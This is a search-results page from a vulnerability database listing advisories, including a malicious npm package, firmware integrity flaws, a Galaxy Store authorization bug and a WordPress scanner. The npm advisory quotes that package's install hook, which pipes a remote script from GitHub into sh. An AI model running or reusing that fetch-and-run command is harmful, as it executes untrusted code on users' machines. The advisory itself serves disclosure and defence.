Lucene search
K

69 matches found

OSSF Malicious Packages
OSSF Malicious Packages
added 2026/05/19 11:11 p.m.7 views

Malicious code in @riteshkumar04/stack-audit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 145196e93f9e6006134b35a8d5abfe7fa0de18f2d52b6712d8b2a5ec036526bc On npm install, scripts/install.js runs curl -sSL https://raw.githubusercontent.com/neutron420/StackAudit/main/scripts/install.sh | sh or the...

6.2AI score
Exploits0References3
EUVD
EUVD
added 2025/10/07 12:30 a.m.0 views

EUVD-2011-2359

Malware in sbrugna...

5CVSS9.2AI score0.00309EPSS
Exploits1References6
EUVD
EUVD
added 2025/10/07 12:30 a.m.3 views

EUVD-2014-7835

Malware in sbrugna...

5CVSS6.2AI score0.00581EPSS
Exploits3References7
EUVD
EUVD
added 2025/10/07 12:30 a.m.0 views

EUVD-2002-0314

Malware in sbrugna...

7.5CVSS6.4AI score0.00737EPSS
Exploits0References5
EUVD
EUVD
added 2025/10/07 12:30 a.m.2 views

EUVD-2005-1477

Malware in sbrugna...

7.5CVSS6.2AI score0.01244EPSS
Exploits0References3
EUVD
EUVD
added 2025/10/07 12:30 a.m.1 views

EUVD-2019-15365

Malware in sbrugna...

6.5CVSS7.9AI score0.00211EPSS
Exploits0References8
EUVD
EUVD
added 2025/10/07 12:30 a.m.1 views

EUVD-2012-6126

Malware in sbrugna...

9.3CVSS6.2AI score0.00965EPSS
Exploits0References3
EUVD
EUVD
added 2025/10/07 12:30 a.m.1 views

EUVD-2004-0760

Malware in sbrugna...

5CVSS6AI score0.01941EPSS
Exploits0References16
NVD
NVD
added 2025/08/08 5:15 p.m.2 views

CVE-2025-53520

The affected product allows firmware updates to be downloaded from EG4's website, transferred via USB dongles, or installed through EG4's Monitoring Center remote, cloud-connected interface or via a serial connection, and can install these files without integrity checks. The TTComp archive format...

8.8CVSS0.00031EPSS
Exploits0References2
CVE
CVE
added 2025/08/08 4:9 p.m.9 views

CVE-2025-53520

CVE-2025-53520 affects EG4 Electronics EG4 Inverters. Firmware updates can be downloaded from EG4’s site, transferred via USB dongles, or installed through the Monitoring Center or via a serial connection, and are installed without integrity checks. TTComp firmware archives are unencrypted and ca...

8.8CVSS6.5AI score0.00031EPSS
Exploits0References2
OSV
OSV
added 2022/01/10 2:12 p.m.0 views

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

7.5CVSS7.2AI score
Exploits0References1
NVD
NVD
added 2022/01/10 2:12 p.m.13 views

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

7.5CVSS0.00261EPSS
Exploits0References1
ATTACKERKB
ATTACKERKB
added 2022/01/10 2:12 p.m.3 views

CVE-2022-22288

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

7.5CVSS7.2AI score0.00261EPSS
Exploits0References2
Prion
Prion
added 2022/01/10 2:12 p.m.19 views

Authorization

Improper authorization vulnerability in Galaxy Store prior to 4.5.36.5 allows remote app installation of the allowlist...

5CVSS7.5AI score0.00261EPSS
Exploits0References1Affected Software1
CNNVD
CNNVD
added 2022/01/10 12:0 a.m.1 views

SAMSUNG Galaxy Store 安全漏洞

SAMSUNG Galaxy Store is an application store by the South Korean company Samsung SAMSUNG. A security vulnerability previously existed in SAMSUNG Galaxy Store 4.5.36.5 that allowed remote application installation whitelisting...

7.5CVSS7.4AI score0.00261EPSS
Exploits0References2
Positive Technologies
Positive Technologies
added 2022/01/07 12:0 a.m.1 views

PT-2022-15332 · Samsung · Galaxy Store

Name of the Vulnerable Software and Affected Versions: Galaxy Store versions prior to 4.5.36.5 Description: The issue is related to an improper authorization vulnerability. It allows for remote app installation from the allowlist. Recommendations: For Galaxy Store versions prior to 4.5.36.5, upda...

7.5CVSS7.5AI score0.00261EPSS
Exploits0References3
Tenable Nessus
Tenable Nessus
added 2020/10/15 12:0 a.m.79 views

IBM Spectrum Protect Plus File Upload RCE

The IBM Spectrum Protect Plus SPP administrative console running on the remote host is affected by a remote code execution vulnerability due to the fact that it allows remote installation of console plugins. An unauthenticated, remote attacker can exploit this and CVE-2020-4711 together, via...

8CVSS7.8AI score0.00842EPSS
Exploits0References2
Cvelist
Cvelist
added 2019/08/29 12:19 a.m.10 views

CVE-2019-13406 Advan VD-1 has a vulnerability that allows remote arbitrary APK installation

A broken access control vulnerability found in Advan VD-1 firmware versions up to 230. An attacker can send a POST request to cgibin/ApkUpload.cgi to install arbitrary APK without any authentication...

7.5AI score0.0037EPSS
Exploits1References3
The Hacker News
The Hacker News
added 2019/05/14 6:10 a.m.2 views

Hackers Used WhatsApp 0-Day Flaw to Secretly Install Spyware On Phones

Whatsapp has recently patched a severe vulnerability that was being exploited by attackers to remotely install surveillance malware on a few "selected" smartphones by simply calling the targeted phone numbers over Whatsapp audio call. Discovered, weaponized and then sold by the Israeli company NS...

9.8CVSS7.9AI score0.47958EPSS
Exploits0
Kitploit
Kitploit
added 2018/03/21 8:30 p.m.13 views

WPSeku v0.4 - Wordpress Security Scanner

WPSeku is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. Installation $ git clone https://github.com/m4ll0k/WPSeku.git wpseku $ cd wpseku $ pip3 install -r requirements.txt $ python3 wpseku.py Usage Generic Scan python3...

Exploits0References1
Rows per page
Query Builder